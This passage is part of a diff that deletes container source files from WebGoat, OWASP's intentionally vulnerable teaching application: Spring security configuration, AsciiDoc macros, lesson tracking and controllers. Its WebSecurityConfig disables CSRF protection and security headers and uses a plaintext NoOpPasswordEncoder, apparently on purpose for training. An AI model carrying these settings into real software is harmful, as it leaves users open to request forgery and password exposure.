-  @Override
-  public void postHandle(
-      HttpServletRequest request,
-      HttpServletResponse response,
-      Object handler,
-      ModelAndView modelAndView)
-      throws Exception {
-    if (null != modelAndView) {
-      Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
-      if (null != authentication) {
-        modelAndView.getModel().put("username", authentication.getName());
-      }
-      if (null != env) {
-        String githubClientId =
-            env.getProperty("spring.security.oauth2.client.registration.github.client-id");
-        if (null != githubClientId && !githubClientId.equals("dummy")) {
-          modelAndView.getModel().put("oauth", Boolean.TRUE);
-        }
-      } else {
-        modelAndView.getModel().put("oauth", Boolean.FALSE);
-      }
-    }
-  }
-
-  @Override
-  public void afterCompletion(
-      HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
-      throws Exception {
-    // Do nothing
-  }
-}

src/main/java/org/owasp/webgoat/container/WebGoat.java

@@ -1,88 +0,0 @@
-/**
- * ************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since October 28, 2003
- */
-package org.owasp.webgoat.container;
-
-import java.io.File;
-import org.owasp.webgoat.container.session.UserSessionData;
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.UserRepository;
-import org.owasp.webgoat.container.users.WebGoatUser;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.beans.factory.annotation.Value;
-import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.ComponentScan;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.context.annotation.PropertySource;
-import org.springframework.context.annotation.Scope;
-import org.springframework.context.annotation.ScopedProxyMode;
-import org.springframework.security.core.context.SecurityContextHolder;
-import org.springframework.security.oauth2.core.user.DefaultOAuth2User;
-import org.springframework.web.client.RestTemplate;
-
-@Configuration
-@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
-@PropertySource("classpath:application-webgoat.properties")
-@EnableAutoConfiguration
-public class WebGoat {
-
-  @Autowired private UserRepository userRepository;
-
-  @Bean(name = "pluginTargetDirectory")
-  public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
-    return new File(webgoatHome);
-  }
-
-  @Bean
-  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
-  public WebSession webSession() {
-    WebGoatUser webGoatUser = null;
-    Object principal = SecurityContextHolder.getContext().getAuthentication().getPrincipal();
-    if (principal instanceof WebGoatUser) {
-      webGoatUser = (WebGoatUser) principal;
-    } else if (principal instanceof DefaultOAuth2User) {
-      webGoatUser = userRepository.findByUsername(((DefaultOAuth2User) principal).getName());
-    }
-    return new WebSession(webGoatUser);
-  }
-
-  @Bean
-  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
-  public UserSessionData userSessionData() {
-    return new UserSessionData("test", "data");
-  }
-
-  @Bean
-  public RestTemplate restTemplate() {
-    return new RestTemplate();
-  }
-}

src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java

@@ -1,114 +0,0 @@
-/**
- * ************************************************************************************************
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * <p>
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since December 12, 2015
- */
-package org.owasp.webgoat.container;
-
-import lombok.AllArgsConstructor;
-import org.owasp.webgoat.container.users.UserService;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.security.authentication.AuthenticationManager;
-import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
-import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
-import org.springframework.security.config.annotation.web.builders.HttpSecurity;
-import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
-import org.springframework.security.core.userdetails.UserDetailsService;
-import org.springframework.security.crypto.password.NoOpPasswordEncoder;
-import org.springframework.security.web.SecurityFilterChain;
-
-/** Security configuration for WebGoat. */
-@Configuration
-@AllArgsConstructor
-@EnableWebSecurity
-public class WebSecurityConfig {
-
-  private final UserService userDetailsService;
-
-  @Bean
-  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
-    return http.authorizeHttpRequests(
-            auth ->
-                auth.requestMatchers(
-                        "/",
-                        "/favicon.ico",
-                        "/css/**",
-                        "/images/**",
-                        "/js/**",
-                        "fonts/**",
-                        "/plugins/**",
-                        "/registration",
-                        "/register.mvc")
-                    .permitAll()
-                    .anyRequest()
-                    .authenticated())
-        .formLogin(
-            login ->
-                login
-                    .loginPage("/login")
-                    .defaultSuccessUrl("/welcome.mvc", true)
-                    .usernameParameter("username")
-                    .passwordParameter("password")
-                    .permitAll())
-        .oauth2Login(
-            oidc -> {
-              oidc.defaultSuccessUrl("/login-oauth.mvc");
-              oidc.loginPage("/login");
-            })
-        .logout(logout -> logout.deleteCookies("JSESSIONID").invalidateHttpSession(true))
-        .csrf(csrf -> csrf.disable())
-        .headers(headers -> headers.disable())
-        .exceptionHandling(
-            handling ->
-                handling.authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")))
-        .build();
-  }
-
-  @Autowired
-  public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
-    auth.userDetailsService(userDetailsService);
-  }
-
-  @Bean
-  public UserDetailsService userDetailsServiceBean() {
-    return userDetailsService;
-  }
-
-  @Bean
-  public AuthenticationManager authenticationManager(
-      AuthenticationConfiguration authenticationConfiguration) throws Exception {
-    return authenticationConfiguration.getAuthenticationManager();
-  }
-
-  @Bean
-  public NoOpPasswordEncoder passwordEncoder() {
-    return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
-  }
-}

src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java

@@ -1,21 +0,0 @@
-package org.owasp.webgoat.container;
-
-import lombok.RequiredArgsConstructor;
-import org.springframework.context.ApplicationContext;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.servlet.ModelAndView;
-
-@Controller
-@RequiredArgsConstructor
-public class WebWolfRedirect {
-
-  private final ApplicationContext applicationContext;
-
-  @GetMapping("/WebWolf")
-  public ModelAndView openWebWolf() {
-    var url = applicationContext.getEnvironment().getProperty("webwolf.url");
-
-    return new ModelAndView("redirect:" + url + "/home");
-  }
-}

src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java

@@ -1,25 +0,0 @@
-package org.owasp.webgoat.container.asciidoc;
-
-import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
-import org.asciidoctor.extension.InlineMacroProcessor;
-
-public class OperatingSystemMacro extends InlineMacroProcessor {
-
-  public OperatingSystemMacro(String macroName) {
-    super(macroName);
-  }
-
-  public OperatingSystemMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
-
-  @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
-    var osName = System.getProperty("os.name");
-
-    // see
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    return createPhraseNode(contentNode, "quoted", osName);
-  }
-}

src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java

@@ -1,31 +0,0 @@
-package org.owasp.webgoat.container.asciidoc;
-
-import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
-import org.asciidoctor.extension.InlineMacroProcessor;
-import org.owasp.webgoat.container.users.WebGoatUser;
-import org.springframework.security.core.context.SecurityContextHolder;
-
-public class UsernameMacro extends InlineMacroProcessor {
-
-  public UsernameMacro(String macroName) {
-    super(macroName);
-  }
-
-  public UsernameMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
-
-  @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
-    var auth = SecurityContextHolder.getContext().getAuthentication();
-    var username = "unknown";
-    if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {
-      username = webGoatUser.getUsername();
-    }
-
-    // see
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    return createPhraseNode(contentNode, "quoted", username);
-  }
-}

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java

@@ -1,25 +0,0 @@
-package org.owasp.webgoat.container.asciidoc;
-
-import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
-import org.asciidoctor.extension.InlineMacroProcessor;
-
-public class WebGoatTmpDirMacro extends InlineMacroProcessor {
-
-  public WebGoatTmpDirMacro(String macroName) {
-    super(macroName);
-  }
-
-  public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
-
-  @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
-    var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
-
-    // see
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    return createPhraseNode(contentNode, "quoted", env);
-  }
-}

src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java

@@ -1,25 +0,0 @@
-package org.owasp.webgoat.container.asciidoc;
-
-import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
-import org.asciidoctor.extension.InlineMacroProcessor;
-
-public class WebGoatVersionMacro extends InlineMacroProcessor {
-
-  public WebGoatVersionMacro(String macroName) {
-    super(macroName);
-  }
-
-  public WebGoatVersionMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
-
-  @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
-    var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
-
-    // see
-    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used
-    return createPhraseNode(contentNode, "quoted", webgoatVersion);
-  }
-}

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java

@@ -1,73 +0,0 @@
-package org.owasp.webgoat.container.asciidoc;
-
-import jakarta.servlet.http.HttpServletRequest;
-import java.util.HashMap;
-import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
-import org.asciidoctor.extension.InlineMacroProcessor;
-import org.springframework.web.context.request.RequestContextHolder;
-import org.springframework.web.context.request.ServletRequestAttributes;
-
-/**
- * Usage in asciidoc:
- *
- * <p>webWolfLink:here[] will display a href with here as text
- */
-public class WebWolfMacro extends InlineMacroProcessor {
-
-  public WebWolfMacro(String macroName) {
-    super(macroName);
-  }
-
-  public WebWolfMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
-
-  @Override
-  public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {
-    var env = EnvironmentExposure.getEnv();
-    var hostname = determineHost(env.getProperty("webwolf.port"));
-    var target = (String) attributes.getOrDefault("target", "home");
-    var href = hostname + "/" + target;
-
-    // are we using noLink in webWolfLink:landing[noLink]? Then display link with full href
-    if (displayCompleteLinkNoFormatting(attributes)) {
-      linkText = href;
-    }
-
-    var options = new HashMap<String, Object>();
-    options.put("type", ":link");
-    options.put("target", href);
-    attributes.put("window", "_blank");
-    return createPhraseNode(contentNode, "anchor", linkText, attributes, options).convert();
-  }
-
-  private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
-    return attributes.values().stream().anyMatch(a -> a.equals("noLink"));
-  }
-
-  /**
-   * Determine the host from the hostname and ports that were used. The purpose is to make it
-   * possible to use the application behind a reverse proxy. For instance in the docker
-   * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the
-   * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1
-   * www.webgoat.local www.webwolf.local
-   */
-  private String determineHost(String port) {
-    HttpServletRequest request =
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-    String host = request.getHeader("Host");
-    int semicolonIndex = host.indexOf(":");
-    if (semicolonIndex == -1 || host.endsWith(":80")) {
-      host = host.replace(":80", "").replace("www.webgoat.local", "www.webwolf.local");
-    } else {
-      host = host.substring(0, semicolonIndex);
-      host = host.concat(":").concat(port);
-    }
-    return "http://" + host + (includeWebWolfContext() ? "/WebWolf" : "");
-  }
-
-  protected boolean includeWebWolfContext() {
-    return true;
-  }
-}

src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java

@@ -1,25 +0,0 @@
-package org.owasp.webgoat.container.asciidoc;
-
-import java.util.Map;
-
-/**
- * Usage in asciidoc:
- *
- * <p>webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will
- * display the complete url, for example: http://WW_HOST:WW_PORT/landing
- */
-public class WebWolfRootMacro extends WebWolfMacro {
-
-  public WebWolfRootMacro(String macroName) {
-    super(macroName);
-  }
-
-  public WebWolfRootMacro(String macroName, Map<String, Object> config) {
-    super(macroName, config);
-  }
-
-  @Override
-  protected boolean includeWebWolfContext() {
-    return false;
-  }
-}

src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java

@@ -1,92 +0,0 @@
-/*
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- * <p>
- * Copyright (c) 2002 - 2017 Bruce Mayhew
- * <p>
- * This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- * <p>
- * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * General Public License for more details.
- * <p>
- * You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- * <p>
- * Getting Source ==============
- * <p>
- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * projects.
- * <p>
- */
-
-package org.owasp.webgoat.container.assignments;
-
-import lombok.Getter;
-import org.owasp.webgoat.container.i18n.PluginMessages;
-import org.owasp.webgoat.container.lessons.Initializeable;
-import org.owasp.webgoat.container.session.UserSessionData;
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.WebGoatUser;
-import org.springframework.beans.factory.annotation.Autowired;
-
-public abstract class AssignmentEndpoint implements Initializeable {
-
-  @Autowired private WebSession webSession;
-  @Autowired private UserSessionData userSessionData;
-  @Getter @Autowired private PluginMessages messages;
-
-  protected WebSession getWebSession() {
-    return webSession;
-  }
-
-  protected UserSessionData getUserSessionData() {
-    return userSessionData;
-  }
-
-  /**
-   * Convenience method for create a successful result:
-   *
-   * <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'
-   *
-   * <p>Of course you can overwrite these values in a specific lesson
-   *
-   * @return a builder for creating a result from a lesson
-   * @param assignment
-   */
-  protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {
-    return AttackResult.builder(messages)
-        .lessonCompleted(true)
-        .attemptWasMade()
-        .feedback("assignment.solved")
-        .assignment(assignment);
-  }
-
-  /**
-   * Convenience method for create a failed result:
-   *
-   * <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'
-   *
-   * <p>Of course you can overwrite these values in a specific lesson
-   *
-   * @return a builder for creating a result from a lesson
-   * @param assignment
-   */
-  protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {
-    return AttackResult.builder(messages)
-        .lessonCompleted(false)
-        .attemptWasMade()
-        .feedback("assignment.not.solved")
-        .assignment(assignment);
-  }
-
-  protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {
-    return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);
-  }
-
-  @Override
-  public void initialize(WebGoatUser user) {}
-}

src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java

@@ -1,128 +0,0 @@
-/*
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- * <p>
- * Copyright (c) 2002 - 2017 Bruce Mayhew
- * <p>
- * This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- * <p>
- * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * General Public License for more details.
- * <p>
- * You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- * <p>
- * Getting Source ==============
- * <p>
- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * projects.
- * <p>
- */
-
-package org.owasp.webgoat.container.assignments;
-
-import static org.apache.commons.text.StringEscapeUtils.escapeJson;
-
-import lombok.Getter;
-import org.owasp.webgoat.container.i18n.PluginMessages;
-
-public class AttackResult {
-
-  public static class AttackResultBuilder {
-
-    private boolean lessonCompleted;
-    private PluginMessages messages;
-    private Object[] feedbackArgs;
-    private String feedbackResourceBundleKey;
-    private String output;
-    private Object[] outputArgs;
-    private AssignmentEndpoint assignment;
-    private boolean attemptWasMade = false;
-
-    public AttackResultBuilder(PluginMessages messages) {
-      this.messages = messages;
-    }
-
-    public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {
-      this.lessonCompleted = lessonCompleted;
-      this.feedbackResourceBundleKey = "lesson.completed";
-      return this;
-    }
-
-    public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {
-      this.lessonCompleted = lessonCompleted;
-      this.feedbackResourceBundleKey = resourceBundleKey;
-      return this;
-    }
-
-    public AttackResultBuilder feedbackArgs(Object... args) {
-      this.feedbackArgs = args;
-      return this;
-    }
-
-    public AttackResultBuilder feedback(String resourceBundleKey) {
-      this.feedbackResourceBundleKey = resourceBundleKey;
-      return this;
-    }
-
-    public AttackResultBuilder output(String output) {
-      this.output = output;
-      return this;
-    }
-
-    public AttackResultBuilder outputArgs(Object... args) {
-      this.outputArgs = args;
-      return this;
-    }
-
-    public AttackResultBuilder attemptWasMade() {
-      this.attemptWasMade = true;
-      return this;
-    }
-
-    public AttackResult build() {
-      return new AttackResult(
-          lessonCompleted,
-          messages.getMessage(feedbackResourceBundleKey, feedbackArgs),
-          messages.getMessage(output, output, outputArgs),
-          assignment.getClass().getSimpleName(),
-          attemptWasMade);
-    }
-
-    public AttackResultBuilder assignment(AssignmentEndpoint assignment) {
-      this.assignment = assignment;
-      return this;
-    }
-  }
-
-  @Getter private boolean lessonCompleted;
-  @Getter private String feedback;
-  @Getter private String output;
-  @Getter private final String assignment;
-  @Getter private boolean attemptWasMade;
-
-  public AttackResult(
-      boolean lessonCompleted,
-      String feedback,
-      String output,
-      String assignment,
-      boolean attemptWasMade) {
-    this.lessonCompleted = lessonCompleted;
-    this.feedback = escapeJson(feedback);
-    this.output = escapeJson(output);
-    this.assignment = assignment;
-    this.attemptWasMade = attemptWasMade;
-  }
-
-  public static AttackResultBuilder builder(PluginMessages messages) {
-    return new AttackResultBuilder(messages);
-  }
-
-  public boolean assignmentSolved() {
-    return lessonCompleted;
-  }
-}

src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java

@@ -1,82 +0,0 @@
-/*
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
- *
- * Copyright (c) 2002 - 2019 Bruce Mayhew
- *
- * This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * Getting Source ==============
- *
- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
- */
-
-package org.owasp.webgoat.container.assignments;
-
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.container.users.UserTrackerRepository;
-import org.springframework.core.MethodParameter;
-import org.springframework.http.MediaType;
-import org.springframework.http.converter.HttpMessageConverter;
-import org.springframework.http.server.ServerHttpRequest;
-import org.springframework.http.server.ServerHttpResponse;
-import org.springframework.web.bind.annotation.RestControllerAdvice;
-import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;
-
-@RestControllerAdvice
-public class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {
-
-  private UserTrackerRepository userTrackerRepository;
-  private WebSession webSession;
-
-  public LessonTrackerInterceptor(
-      UserTrackerRepository userTrackerRepository, WebSession webSession) {
-    this.userTrackerRepository = userTrackerRepository;
-    this.webSession = webSession;
-  }
-
-  @Override
-  public boolean supports(
-      MethodParameter methodParameter, Class<? extends HttpMessageConverter<?>> clazz) {
-    return true;
-  }
-
-  @Override
-  public Object beforeBodyWrite(
-      Object o,
-      MethodParameter methodParameter,
-      MediaType mediaType,
-      Class<? extends HttpMessageConverter<?>> aClass,
-      ServerHttpRequest serverHttpRequest,
-      ServerHttpResponse serverHttpResponse) {
-    if (o instanceof AttackResult attackResult) {
-      trackProgress(attackResult);
-    }
-    return o;
-  }
-
-  protected AttackResult trackProgress(AttackResult attackResult) {
-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    if (userTracker == null) {
-      userTracker = new UserTracker(webSession.getUserName());
-    }
-    if (attackResult.assignmentSolved()) {
-      userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment());
-    } else {
-      userTracker.assignmentFailed(webSession.getCurrentLesson());
-    }
-    userTrackerRepository.save(userTracker);
-
-    return attackResult;
-  }
-}

src/main/java/org/owasp/webgoat/container/controller/StartLesson.java

@@ -1,90 +0,0 @@
-/**
- * ************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since October 28, 2003
- */
-package org.owasp.webgoat.container.controller;
-
-import jakarta.servlet.http.HttpServletRequest;
-import org.owasp.webgoat.container.session.Course;
-import org.owasp.webgoat.container.session.WebSession;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestMethod;
-import org.springframework.web.servlet.ModelAndView;
-
-@Controller
-public class StartLesson {
-
-  private final WebSession ws;
-  private final Course course;
-
-  public StartLesson(WebSession ws, Course course) {
-    this.ws = ws;
-    this.course = course;
-  }
-
-  /**
-   * start.
-   *
-   * @return a {@link ModelAndView} object.
-   */
-  @RequestMapping(
-      path = "startlesson.mvc",
-      method = {RequestMethod.GET, RequestMethod.POST})
-  public ModelAndView start() {
-    var model = new ModelAndView();
-
-    model.addObject("course", course);
-    model.addObject("lesson", ws.getCurrentLesson());
-    model.setViewName("lesson_content");
-
-    return model;
-  }
-
-  @RequestMapping(
-      value = {"*.lesson"},
-      produces = "text/html")
-  public ModelAndView lessonPage(HttpServletRequest request) {
-    var model = new ModelAndView("lesson_content");
-    var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
-    var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
-
-    course.getLessons().stream()
-        .filter(l -> l.getId().equals(lessonName))
-        .findFirst()
-        .ifPresent(
-            lesson -> {
-              ws.setCurrentLesson(lesson);
-              model.addObject("lesson", lesson);
-            });
-
-    return model;
-  }
-}

src/main/java/org/owasp/webgoat/container/controller/Welcome.java

@@ -1,71 +0,0 @@
-/**
- * ************************************************************************************************
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author WebGoat
- * @since October 28, 2003
- * @version $Id: $Id
- */
-package org.owasp.webgoat.container.controller;
-
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpSession;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.servlet.ModelAndView;
-
-/**
- * Welcome class.
- *
- * @author rlawson
- * @version $Id: $Id
- */
-@Controller
-public class Welcome {
-
-  private static final String WELCOMED = "welcomed";
-
-  /**
-   * welcome.
-   *
-   * @param request a {@link jakarta.servlet.http.HttpServletRequest} object.
-   * @return a {@link org.springframework.web.servlet.ModelAndView} object.
-   */
-  @GetMapping(path = {"welcome.mvc"})
-  public ModelAndView welcome(HttpServletRequest request) {
-
-    // set the welcome attribute
-    // this is so the attack servlet does not also
-    // send them to the welcome page
-    HttpSession session = request.getSession();
-    if (session.getAttribute(WELCOMED) == null) {
-      session.setAttribute(WELCOMED, "true");
-    }
-
-    // go ahead and send them to webgoat (skip the welcome page)
-    ModelAndView model = new ModelAndView();
-    model.setViewName("forward:/attack?start=true");
-    return model;
-  }
-}

src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java

@@ -1,85 +0,0 @@
-/*
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- * <p>
- * Copyright (c) 2002 - 2017 Bruce Mayhew
- * <p>
- * This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- * <p>
- * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * General Public License for more details.
- * <p>
- * You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- * <p>
- * Getting Source ==============
- * <p>
- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * projects.
- * <p>
- */
-
-package org.owasp.webgoat.container.i18n;
-
-import java.io.IOException;
-import java.util.Properties;
-import org.springframework.context.support.ReloadableResourceBundleMessageSource;
-import org.springframework.core.io.support.ResourcePatternResolver;
-
-/**
- * Message resource bundle for plugins.
- *
- * @author nbaars
- * @date 2/4/17
- */
-public class PluginMessages extends ReloadableResourceBundleMessageSource {
-  private static final String PROPERTIES_SUFFIX = ".properties";
-
-  private final Language language;
-  private final ResourcePatternResolver resourcePatternResolver;
-
-  public PluginMessages(
-      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
-    this.language = language;
-    this.setParentMessageSource(messages);
